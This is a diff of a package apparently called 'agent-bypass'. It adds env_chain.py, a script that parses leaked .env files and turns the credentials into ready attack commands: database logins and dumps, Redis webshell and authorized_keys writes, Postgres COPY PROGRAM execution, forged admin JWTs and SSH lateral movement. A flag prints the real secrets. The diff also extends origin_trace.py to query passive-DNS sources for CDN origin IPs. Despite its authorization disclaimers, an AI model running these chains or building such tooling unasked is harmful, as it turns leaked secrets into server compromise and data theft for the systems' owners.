agent-bypass 2.17.0 → 2.20.0

package/scripts/env_chain.py

@@ -0,0 +1,337 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""env_chain — .env / 配置泄漏 → 凭据分类 → 多路径攻击链生成（离线，只读）
+
+场景：拿到 .env / config / docker-compose / 备份配置后，快速识别里面有哪些凭据面
+（MySQL/Redis/PostgreSQL/MongoDB、AWS/云 AK、JWT_SECRET/APP_KEY、SMTP、SSH），
+生成「只读验证 → 多路径链」的命令模板与攻击图。不联网、不写目标，命令默认脱敏。
+
+用法:
+  python3 env_chain.py .env
+  cat .env | python3 env_chain.py -
+  python3 env_chain.py .env --reveal          # 输出含真实密钥的命令（谨慎，别贴日志）
+  python3 env_chain.py .env --json
+  python3 env_chain.py .env --ip 1.2.3.4      # 给 SSH 等命令补目标 IP
+"""
+import json
+import re
+import sys
+import urllib.parse
+
+try:
+    import argsmini as argparse
+except Exception:
+    import argparse  # type: ignore
+
+MASK = "***"
+
+# 分类规则（按优先级从上到下）
+RULES = [
+    ("db_url", re.compile(r"^(DATABASE_URL|DB_URL|MYSQL_URL|POSTGRES_URL|MONGO_URL|MONGODB_URL|REDIS_URL)$")),
+    ("mysql", re.compile(r"^(MYSQL|MARIADB)_|^(DB_HOST|DB_PORT|DB_USER|DB_USERNAME|DB_PASS|DB_PASSWORD|DB_NAME|DB_DATABASE)$")),
+    ("postgres", re.compile(r"^(POSTGRES|PG(HOST|PORT|USER|PASSWORD|DB))")),
+    ("mongo", re.compile(r"^(MONGO|MONGODB)_")),
+    ("redis", re.compile(r"^REDIS_")),
+    ("aws", re.compile(r"^(AWS_|S3_|BUCKET_|AMAZON_)")),
+    ("cloud", re.compile(r"^(ALIYUN|ALI_OSS|OSS_|TENCENT|COS_|AZURE|GCP|GOOGLE_)")),
+    ("secret", re.compile(r"^(JWT_SECRET|JWT_KEY|SECRET_KEY|SECRET|APP_KEY|APP_SECRET|SESSION_SECRET|API_SECRET|ENCRYPTION_KEY)$")),
+    ("smtp", re.compile(r"^(SMTP|MAIL|EMAIL)_|^(SMTP_HOST|SMTP_USER|SMTP_PASS|SMTP_PASSWORD)$")),
+    ("ssh", re.compile(r"SSH_|PRIVATE_KEY|ID_RSA")),
+    ("api_key", re.compile(r"^(GITHUB|GITLAB|STRIPE|SLACK|TELEGRAM|DINGTALK|WECHAT|ALIPAY|PAY)_")),
+]
+
+
+def parse_env(text):
+    """解析 .env / key=value 配置 → dict（去注释、引号、export 前缀）。"""
+    out = {}
+    for raw in str(text or "").splitlines():
+        line = raw.strip()
+        if not line or line.startswith("#") or line.startswith(";"):
+            continue
+        line = re.sub(r"^export\s+", "", line)
+        if "=" not in line:
+            continue
+        key, _, val = line.partition("=")
+        key, val = key.strip(), val.strip()
+        if len(val) >= 2 and val[0] in "\"'" and val[-1] == val[0]:
+            val = val[1:-1]
+        if key:
+            out[key] = val
+    return out
+
+
+def classify(key):
+    for group, rx in RULES:
+        if rx.search(key.upper()):
+            return group
+    return "other"
+
+
+def _pick(env, names, default=""):
+    for n in names:
+        if env.get(n):
+            return env[n]
+    return default
+
+
+def _parse_url(url):
+    """DATABASE_URL/REDIS_URL → dict(service, host, port, user, password, db)。"""
+    try:
+        u = urllib.parse.urlparse(url)
+    except Exception:
+        return None
+    schemes = {"mysql": 3306, "mariadb": 3306, "postgres": 5432, "postgresql": 5432,
+               "mongodb": 27017, "redis": 6379, "rediss": 6379}
+    scheme = (u.scheme or "").lower()
+    if scheme not in schemes:
+        return None
+    return {
+        "service": scheme,
+        "host": u.hostname or "",
+        "port": u.port or schemes[scheme],
+        "user": urllib.parse.unquote(u.username or ""),
+        "password": urllib.parse.unquote(u.password or ""),
+        "db": (u.path or "/").lstrip("/"),
+    }
+
+
+def extract(env):
+    """从 env dict 提取服务凭据/密钥/云 AK/SMTP/SSH → 结构化 findings。"""
+    groups = {}
+    for k, v in env.items():
+        groups.setdefault(classify(k), {})[k] = v
+
+    services = []
+    # 1) URL 型（优先级最高）
+    for k in env:
+        if classify(k) == "db_url" and "://" in env[k]:
+            svc = _parse_url(env[k])
+            if svc:
+                svc["source"] = k
+                services.append(svc)
+    # 2) 分离字段型
+    mysql = {
+        "service": "mysql",
+        "host": _pick(env, ["MYSQL_HOST", "DB_HOST"]),
+        "port": int(_pick(env, ["MYSQL_PORT", "DB_PORT"], "3306") or 3306),
+        "user": _pick(env, ["MYSQL_USER", "MYSQL_USERNAME", "DB_USER", "DB_USERNAME"]),
+        "password": _pick(env, ["MYSQL_PASSWORD", "MYSQL_PASS", "DB_PASSWORD", "DB_PASS"]),
+        "db": _pick(env, ["MYSQL_DATABASE", "MYSQL_DB", "DB_NAME", "DB_DATABASE"]),
+        "source": "MYSQL_*/DB_*",
+    }
+    if mysql["host"] or mysql["user"] or mysql["password"]:
+        services.append(mysql)
+    pg = {
+        "service": "postgres",
+        "host": _pick(env, ["POSTGRES_HOST", "PGHOST"]),
+        "port": int(_pick(env, ["POSTGRES_PORT", "PGPORT"], "5432") or 5432),
+        "user": _pick(env, ["POSTGRES_USER", "PGUSER"]),
+        "password": _pick(env, ["POSTGRES_PASSWORD", "PGPASSWORD"]),
+        "db": _pick(env, ["POSTGRES_DB", "PGDATABASE"]),
+        "source": "POSTGRES_*/PG*",
+    }
+    if pg["host"] or pg["user"] or pg["password"]:
+        services.append(pg)
+    redis = {
+        "service": "redis",
+        "host": _pick(env, ["REDIS_HOST"]),
+        "port": int(_pick(env, ["REDIS_PORT"], "6379") or 6379),
+        "user": _pick(env, ["REDIS_USER"]),
+        "password": _pick(env, ["REDIS_PASSWORD", "REDIS_PASS"]),
+        "db": _pick(env, ["REDIS_DB"]),
+        "source": "REDIS_*",
+    }
+    if redis["host"] or redis["password"]:
+        services.append(redis)
+
+    # 去重
+    uniq, seen = [], set()
+    for s in services:
+        key = (s["service"], s["host"], s["port"], s["user"])
+        if key not in seen:
+            seen.add(key)
+            uniq.append(s)
+
+    aws = {}
+    if env.get("AWS_ACCESS_KEY_ID") or env.get("AWS_SECRET_ACCESS_KEY"):
+        aws = {
+            "access_key": env.get("AWS_ACCESS_KEY_ID", ""),
+            "secret_key": env.get("AWS_SECRET_ACCESS_KEY", ""),
+            "region": env.get("AWS_REGION", env.get("AWS_DEFAULT_REGION", "")),
+            "source": "AWS_*",
+        }
+
+    secrets = {k: v for k, v in env.items() if classify(k) == "secret"}
+    smtp = {k: v for k, v in env.items() if classify(k) == "smtp"}
+    ssh = {k: v for k, v in env.items() if classify(k) == "ssh"}
+    return {
+        "groups": {g: {k: (MASK if _sensitive(g) else v) for k, v in d.items()}
+                   for g, d in groups.items()},
+        "services": uniq,
+        "aws": aws,
+        "secrets": secrets,
+        "smtp": smtp,
+        "ssh": ssh,
+        "raw_count": len(env),
+    }
+
+
+def _sensitive(group):
+    return group in ("mysql", "postgres", "mongo", "redis", "aws", "cloud", "secret", "smtp", "ssh", "db_url", "api_key")
+
+
+def _q(val):
+    if val is None or val == "":
+        return "<空>"
+    return str(val)
+
+
+def build_chains(data, reveal=False, ip=""):
+    """生成多路径链：{path, from, target, verify(commands), next, risk}"""
+    def secret(v):
+        if reveal:
+            return _q(v)
+        return MASK if v else "<空>"
+
+    chains = []
+    host_hint = ip or "<HOST>"
+    for s in data["services"]:
+        host = s["host"] or host_hint
+        if s["service"] in ("mysql", "mariadb"):
+            cmd = ("mysql -h %s -P %s -u %s -p'%s' -e 'select version(), current_user(); show databases;'"
+                   % (host, s["port"], _q(s["user"] or "root"), secret(s["password"])))
+            chains.append({
+                "path": ".env → MySQL 凭据 → 只读验证/拖库 → 同口令复用 SSH/面板",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": cmd,
+                "next": "secure_file_priv 检查 → 读/写文件（授权内）→ 用户哈希离线 → 同口令横向",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] in ("postgres", "postgresql"):
+            chains.append({
+                "path": ".env → PostgreSQL 凭据 → 只读验证 → 拖库/命令执行（授权内）",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "PGPASSWORD='%s' psql -h %s -p %s -U %s -d %s -c 'select version(), current_user;'"
+                          % (secret(s["password"]), host, s["port"], _q(s["user"] or "postgres"), _q(s["db"] or "postgres")),
+                "next": "pg_read_file / COPY PROGRAM / 扩展提权；同口令复用",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] == "redis":
+            chains.append({
+                "path": ".env → Redis 凭据 → 只读验证 → 写 shell/crontab/主从复制（授权内）",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "redis-cli -h %s -p %s%s ping" % (host, s["port"],
+                          (" -a '%s'" % secret(s["password"])) if s["password"] else ""),
+                "next": "config get dir/dbfilename → 写 webshell/authorized_keys/crontab（写前备份）",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] == "mongodb":
+            chains.append({
+                "path": ".env → MongoDB 凭据 → 只读验证/拖库",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "mongosh 'mongodb://%s:%s@%s:%s/%s' --eval 'db.runCommand({ping:1})'"
+                          % (_q(s["user"]), secret(s["password"]), host, s["port"], _q(s["db"] or "")),
+                "next": "未授权/弱口令优先；只读集合导出",
+                "risk": "medium",
+            })
+
+    if data["aws"]:
+        chains.append({
+            "path": ".env → AWS AK → STS 验证 → S3/ECS/其他云资源（授权内）",
+            "from": data["aws"]["source"], "target": "aws",
+            "verify": "AWS_ACCESS_KEY_ID='%s' AWS_SECRET_ACCESS_KEY='%s' AWS_DEFAULT_REGION='%s' aws sts get-caller-identity"
+                      % (secret(data["aws"]["access_key"]), secret(data["aws"]["secret_key"]), _q(data["aws"]["region"])),
+            "next": "aws s3 ls；按权限枚举 S3/ECR/ECS/SSM；只读验证 → 影响评估",
+            "risk": "high",
+        })
+    if data["secrets"]:
+        chains.append({
+            "path": ".env → JWT_SECRET/SECRET_KEY → 伪造 token / 会话签名",
+            "from": "SECRET_*", "target": "web",
+            "verify": "# 用真实 token 做 HS256 验签复现（离线）：hashcat -m 16500 token.txt 或 jwt_tool 验证",
+            "next": "伪造管理员 token 打后台（授权内）；Laravel APP_KEY 泄漏 → 反序列化/RCE 风险",
+            "risk": "high",
+        })
+    if data["smtp"]:
+        chains.append({
+            "path": ".env → SMTP 凭据 → 发信能力验证（授权内）",
+            "from": "SMTP_*", "target": "smtp",
+            "verify": "# python3 smtplib 登录测试（只发给自己）；注意反垃圾/发信限额",
+            "next": "同凭据试其他系统邮箱复用到后台找回/通知面",
+            "risk": "low",
+        })
+    if data["ssh"]:
+        chains.append({
+            "path": ".env/备份 → SSH 私钥/用户 → SSH 登录 → 内网横向",
+            "from": "SSH_*/PRIVATE_KEY", "target": "%s:22" % host_hint,
+            "verify": "ssh -i <key> -o BatchMode=yes -o ConnectTimeout=5 %s 'id; hostname'"
+                      % _q(data["ssh"].get("SSH_USER") or "<user>"),
+            "next": "authorized_keys/端口转发/内网 DB 暴露；私钥复用其他主机",
+            "risk": "high",
+        })
+    return chains
+def main(argv=None):
+    ap = argparse.ArgumentParser(description=".env/配置泄漏 → 凭据分类 → 多路径攻击链（离线只读）")
+    ap.add_argument("file", nargs="?", help=".env 文件路径；'-' 或省略读 stdin")
+    ap.add_argument("--reveal", action="store_true", help="输出含真实密钥的命令（默认脱敏）")
+    ap.add_argument("--ip", default="", help="补充目标 IP（SSH/未写 host 的服务命令用）")
+    ap.add_argument("--json", action="store_true")
+    a = ap.parse_args(argv)
+
+    if a.file in (None, "-"):
+        text = sys.stdin.read()
+        src = "stdin"
+    else:
+        try:
+            with open(a.file, encoding="utf-8", errors="ignore") as f:
+                text = f.read()
+            src = a.file
+        except OSError as e:
+            print("[错误] 读取失败: %s" % e, file=sys.stderr)
+            return 2
+    env = parse_env(text)
+    if not env:
+        print("[错误] 未解析到任何 key=value（不是 .env/配置文件？）", file=sys.stderr)
+        return 2
+    data = extract(env)
+    chains = build_chains(data, reveal=a.reveal, ip=a.ip)
+    services_out = []
+    for s in data["services"]:
+        s2 = dict(s)
+        if not a.reveal:
+            s2["password"] = MASK if s2.get("password") else ""
+        services_out.append(s2)
+    payload = {"source": src, "env_keys": data["raw_count"], "groups": data["groups"],
+               "services": services_out,
+               "aws": {k: (v if a.reveal or k == "source" else MASK) for k, v in data["aws"].items()} if data["aws"] else {},
+               "chains": chains,
+               "note": "命令默认脱敏；--reveal 输出真实值。只读验证优先，写操作先备份并确认授权范围。"}
+    if a.json:
+        print(json.dumps(payload, ensure_ascii=False, indent=2))
+        return 0
+
+    print("# 来源: %s | 解析 %d 个键" % (src, data["raw_count"]))
+    print("\n## 识别到的凭据面")
+    for g, d in data["groups"].items():
+        if g in ("other",) or not d:
+            continue
+        print("- %-9s %s" % (g, ", ".join(sorted(d)[:8]) + (" ..." if len(d) > 8 else "")))
+    if data["services"]:
+        print("\n## 服务凭据")
+        for s in data["services"]:
+            print("- %-8s %s:%s user=%s db=%s（来源 %s）" % (
+                s["service"], s["host"] or "<HOST>", s["port"], s["user"] or "-", s["db"] or "-", s["source"]))
+    print("\n## 多路径链（只读验证优先）")
+    for i, c in enumerate(chains, 1):
+        print("\n[%d] %s" % (i, c["path"]))
+        print("    目标: %s | 风险: %s" % (c["target"], c["risk"]))
+        print("    验证: %s" % c["verify"])
+        print("    下一步: %s" % c["next"])
+    if not chains:
+        print("- 未识别到可直接利用的凭据（可能只有普通配置项）")
+    print("\n# 范围纪律：只对授权资产验证；写操作前备份；密钥勿贴日志/报告。")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

package/scripts/origin_trace.py

@@ -12,6 +12,8 @@
   python3 origin_trace.py example.com --json
   python3 origin_trace.py example.com --max-candidates 60 --timeout 8
   python3 origin_trace.py example.com --no-ct --max-candidates 8 --budget 60   # iSH/fake-IP：跳过 CT、限时防卡
+  python3 origin_trace.py example.com --ct-sources crt.sh,certspotter,otx     # 指定/兜底 CT 源（all=全部）
+  python3 origin_trace.py example.com --max-ct 120 --ct-budget 20             # CT 主机上限/多源总预算
   DOH_PROVIDERS="https://1.1.1.1/dns-query" python3 origin_trace.py example.com
 
 输出: 候选源站表（ip / 分数 / 来源 / 标题 / Server / CDN 头），--json 输出机器可读结构。
@@ -20,6 +22,7 @@
 import concurrent.futures
 import hashlib
 import json
+import os
 import re
 import socket
 import ssl
@@ -41,6 +44,11 @@ SUBS = [
     "legacy", "backup", "admin", "api", "gateway", "vpn", "oa", "portal",
     "m", "wap", "static", "img", "cdn", "assets", "uploads",
 ]
+ISH = os.path.isdir("/var/minis") or bool(os.environ.get("MINIS_ROOT"))
+
+# 多源证书透明度 / 被动 DNS（无 Key 优先；单个源 502/超时不影响其他源）
+CT_SOURCES = ("crt.sh", "certspotter", "otx", "hackertarget", "anubis", "rapiddns")
+
 CDN_HEADERS = (
     "cf-ray", "cf-cache-status", "x-cache", "via", "x-amz-cf-id", "x-amz-cf-pop",
     "x-fastly-request-id", "x-akamai-transformed", "x-cdn", "x-served-by",
@@ -72,23 +80,35 @@ def doh_resolve(name, timeout=6.0):
         return []
 
 
-def fetch_ct_names(domain, timeout=8.0):
-    """证书透明度（crt.sh）里的 DNS 名；返回去重主机名列表。
-    crt.sh 偶发 502/超时：重试一次，仍失败则跳过（不阻塞主流程）。"""
-    url = "https://crt.sh/?q=" + urllib.parse.quote("%." + domain, safe="") + "&output=json"
+def _host_in_domain(name, domain):
+    """规范化主机名并校验属于目标域；不合法返回 None。"""
+    name = str(name or "").strip().lower().lstrip("*.").rstrip(".")
+    if name and (name == domain or name.endswith("." + domain)):
+        return name
+    return None
+
+
+def _dedup_hosts(cands, domain, seen, out):
+    for raw in cands:
+        n = _host_in_domain(raw, domain)
+        if n and n not in seen:
+            seen.add(n)
+            out.append(n)
+
+
+def http_get_text(url, timeout=8.0, retry=1):
+    """GET 文本（带 UA + 重试）；失败抛异常由调用方兜底。"""
     last = None
-    for attempt in (1, 2):
+    for attempt in range(retry + 1):
         try:
             req = urllib.request.Request(url, headers={"user-agent": UA})
             with urllib.request.urlopen(req, timeout=timeout) as r:
-                text = r.read(8 << 20).decode("utf-8", "ignore")
-            return parse_crtsh(text, domain)
+                return r.read(8 << 20).decode("utf-8", "ignore")
         except Exception as e:
             last = e
-            if attempt == 1:
-                time.sleep(1.0)
-    _err("[crt.sh] 查询失败（已重试）: %s —— 跳过 CT，继续漏质子域" % last)
-    return []
+            if attempt < retry:
+                time.sleep(0.8)
+    raise last
 
 
 def parse_crtsh(text, domain):
@@ -101,18 +121,141 @@ def parse_crtsh(text, domain):
         return []
     out, seen = [], set()
     for row in rows:
+        if isinstance(row, dict):
+            _dedup_hosts(str(row.get("name_value") or "").split("\n"), domain, seen, out)
+    return out
+
+
+def parse_certspotter(text, domain):
+    """CertSpotter issuances JSON → dns_names 里的主机名。"""
+    try:
+        rows = json.loads(text)
+    except (ValueError, TypeError):
+        return []
+    out, seen = [], set()
+    for row in rows if isinstance(rows, list) else []:
+        if isinstance(row, dict):
+            _dedup_hosts(row.get("dns_names") or [], domain, seen, out)
+    return out
+
+
+def parse_otx(text, domain):
+    """OTX 被动 DNS → (主机名列表, IP 列表)。"""
+    try:
+        d = json.loads(text)
+    except (ValueError, TypeError):
+        return [], []
+    rows = d.get("passive_dns") if isinstance(d, dict) else None
+    out, seen, ips = [], set(), []
+    for row in rows if isinstance(rows, list) else []:
         if not isinstance(row, dict):
             continue
-        for raw in str(row.get("name_value") or "").split("\n"):
-            name = raw.strip().lower().lstrip("*.").rstrip(".")
-            if not name or name in seen:
-                continue
-            if name == domain or name.endswith("." + domain):
-                seen.add(name)
-                out.append(name)
+        host = _host_in_domain(row.get("hostname") or "", domain)
+        if not host:
+            continue                       # 只收目标域相关记录，避免无关 IP 污染候选
+        _dedup_hosts([host], domain, seen, out)
+        ip = str(row.get("address") or "").strip()
+        if netdns is not None and netdns.is_ipv4(ip) and not netdns.is_fake_ip(ip) and ip not in ips:
+            ips.append(ip)
+    return out, ips
+
+
+def parse_hackertarget(text, domain):
+    """HackerTarget hostsearch CSV（host,ip）→ (主机名, IP)。"""
+    out, seen, ips = [], set(), []
+    for line in str(text or "").splitlines():
+        parts = [x.strip() for x in line.split(",")]
+        if len(parts) != 2:
+            continue
+        host = _host_in_domain(parts[0], domain)
+        if not host:
+            continue                       # 只收目标域相关主机/IP
+        _dedup_hosts([host], domain, seen, out)
+        if netdns is not None and netdns.is_ipv4(parts[1]) and not netdns.is_fake_ip(parts[1]) and parts[1] not in ips:
+            ips.append(parts[1])
+    return out, ips
+
+
+def parse_anubis(text, domain):
+    """Anubis(jldc.me) 子域 JSON 数组 → 主机名。"""
+    try:
+        rows = json.loads(text)
+    except (ValueError, TypeError):
+        return []
+    out, seen = [], set()
+    _dedup_hosts(rows if isinstance(rows, list) else [], domain, seen, out)
     return out
 
 
+def parse_rapiddns(text, domain):
+    """RapidDNS HTML → 页面中的子域文本（宽松匹配）。"""
+    out, seen = [], set()
+    for m in re.finditer(r"([a-zA-Z0-9][a-zA-Z0-9._-]*\." + re.escape(domain) + r")", str(text or "")):
+        _dedup_hosts([m.group(1)], domain, seen, out)
+    return out
+
+
+def _ct_fetch(name, domain, timeout):
+    """单个 CT/被动 DNS 源 → (hosts, ips)。"""
+    q = urllib.parse.quote(domain, safe="")
+    if name == "crt.sh":
+        text = http_get_text("https://crt.sh/?q=" + urllib.parse.quote("%." + domain, safe="") + "&output=json",
+                             timeout, retry=1)
+        return parse_crtsh(text, domain), []
+    if name == "certspotter":
+        text = http_get_text("https://api.certspotter.com/v1/issuances?domain=%s&include_subdomains=true&expand=dns_names" % q,
+                             timeout)
+        return parse_certspotter(text, domain), []
+    if name == "otx":
+        text = http_get_text("https://otx.alienvault.com/api/v1/indicators/domain/%s/passive_dns" % q, timeout)
+        return parse_otx(text, domain)
+    if name == "hackertarget":
+        text = http_get_text("https://api.hackertarget.com/hostsearch/?q=%s" % q, timeout)
+        return parse_hackertarget(text, domain)
+    if name == "anubis":
+        text = http_get_text("https://jldc.me/anubis/subdomains/%s" % q, timeout)
+        return parse_anubis(text, domain), []
+    if name == "rapiddns":
+        text = http_get_text("https://rapiddns.io/subdomain/%s?full=1" % q, timeout)
+        return parse_rapiddns(text, domain), []
+    return [], []
+
+
+def fetch_passive_names(domain, timeout=8.0, sources=None, max_hosts=80, budget=None):
+    """多源并发查询 CT/被动 DNS：单源失败不影响其他；总预算到期返回部分结果。
+    返回 (hosts, passive_ips, per_source_status)。"""
+    sources = list(sources or CT_SOURCES)
+    budget = budget if budget and budget > 0 else (10.0 if ISH else 15.0)
+    workers = min(4 if ISH else 6, max(1, len(sources)))
+    hosts, seen, ips, status = [], set(), [], {}
+    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
+        futs = {ex.submit(_ct_fetch, name, domain, timeout): name for name in sources}
+        try:
+            for fut in concurrent.futures.as_completed(futs, timeout=budget):
+                src = futs[fut]
+                try:
+                    h, ip = fut.result()
+                except Exception as e:
+                    status[src] = "失败: %s" % str(e)[:60]
+                    _err("[CT] %-12s 失败，跳过: %s" % (src, str(e)[:80]))
+                    continue
+                status[src] = len(h) + (len(ip) and len(ip) or 0) * 0  # 仅主机数用于展示
+                for n in h:
+                    if n not in seen and len(hosts) < max_hosts:
+                        seen.add(n)
+                        hosts.append(n)
+                for ipv in ip:
+                    if ipv not in ips:
+                        ips.append(ipv)
+                _err("[CT] %-12s %d 主机%s" % (src, len(h), (" / %d IP" % len(ip)) if ip else ""))
+        except concurrent.futures.TimeoutError:
+            status["_budget"] = "总预算 %.0fs 超时（返回部分）" % budget
+            _err("[CT] 总预算 %.0fs 到期，使用已返回的 %d 个主机" % (budget, len(hosts)))
+        finally:
+            ex.shutdown(wait=False, cancel_futures=True)
+    return hosts, ips, status
+
+
 def cdn_markers(headers):
     return [h for h in CDN_HEADERS if h in headers]
 
@@ -213,14 +356,19 @@ def score_candidate(base, cand):
     return score, reasons
 
 
-def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True):
-    """收集候选 (name, ip, sources)。"""
+def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True,
+                       ct_sources=None, max_ct=80, ct_budget=0.0):
+    """收集候选 (name, ip, sources)：漏质子域 + 多源 CT/被动 DNS。"""
     names = ["www." + domain, domain] + ["%s.%s" % (s, domain) for s in SUBS]
+    passive_ips = []
     if use_ct:
-        ct = fetch_ct_names(domain, timeout)
+        ct, passive_ips, _status = fetch_passive_names(
+            domain, timeout, sources=ct_sources, max_hosts=max_ct, budget=ct_budget)
         if ct:
-            _err("[CT] crt.sh 返回 %d 个主机名" % len(ct))
+            _err("[CT] 合计 %d 个主机名" % len(ct))
             names.extend(ct)
+        if passive_ips:
+            _err("[被动DNS] 合计 %d 个 IP 并入候选" % len(passive_ips))
     uniq, seen = [], set()
     for n in names:
         n = n.strip().lower().rstrip(".")
@@ -234,11 +382,13 @@ def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True):
         return name, doh_resolve(name, timeout)
 
     by_ip = {}
-    with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
+    with concurrent.futures.ThreadPoolExecutor(max_workers=(4 if ISH else 8)) as ex:
         for name, pairs in ex.map(one, uniq):
             for ip, src in pairs:
                 srcs = by_ip.setdefault(ip, {"ips": set(), "sources": set()})
                 srcs["sources"].add(name)
+    for ip in passive_ips:
+        by_ip.setdefault(ip, {"ips": set(), "sources": set()})["sources"].add("passive-dns")
     return by_ip
 
 
@@ -246,6 +396,7 @@ def main(argv=None):
     args = list(sys.argv[1:] if argv is None else argv)
     domains, as_json, no_verify, no_ct = [], False, False, False
     max_c, timeout, budget = 40, 8.0, 120.0
+    ct_sources, max_ct, ct_budget = None, 80, 0.0
     i = 0
     while i < len(args):
         a = args[i]
@@ -255,7 +406,7 @@ def main(argv=None):
             no_verify = True
         elif a == "--no-ct":
             no_ct = True
-        elif a in ("--max-candidates", "--timeout", "--budget"):
+        elif a in ("--max-candidates", "--timeout", "--budget", "--max-ct", "--ct-budget", "--ct-sources"):
             if i + 1 >= len(args):
                 _err("%s 缺少取值" % a)
                 return 2
@@ -264,6 +415,20 @@ def main(argv=None):
                     max_c = max(1, int(args[i + 1]))
                 elif a == "--budget":
                     budget = max(10.0, float(args[i + 1]))
+                elif a == "--max-ct":
+                    max_ct = max(1, int(args[i + 1]))
+                elif a == "--ct-budget":
+                    ct_budget = max(3.0, float(args[i + 1]))
+                elif a == "--ct-sources":
+                    val = args[i + 1].strip()
+                    if val.lower() == "all":
+                        ct_sources = None
+                    else:
+                        picked = [x.strip() for x in val.split(",") if x.strip()]
+                        if not picked or any(x not in CT_SOURCES for x in picked):
+                            _err("--ct-sources 取值非法（可选: %s 或 all）" % ",".join(CT_SOURCES))
+                            return 2
+                        ct_sources = picked
                 else:
                     timeout = max(1.0, min(float(args[i + 1]), 30.0))
             except (TypeError, ValueError):
@@ -301,7 +466,8 @@ def main(argv=None):
             except Exception as e:
                 _err("[基线] 探测失败: %s（继续）" % e)
 
-        by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct)
+        by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct,
+                                   ct_sources=ct_sources, max_ct=max_ct, ct_budget=ct_budget)
         for ip in real_root:                       # 根 IP 纳入候选
             by_ip.setdefault(ip, {"sources": set()})["sources"].add(domain)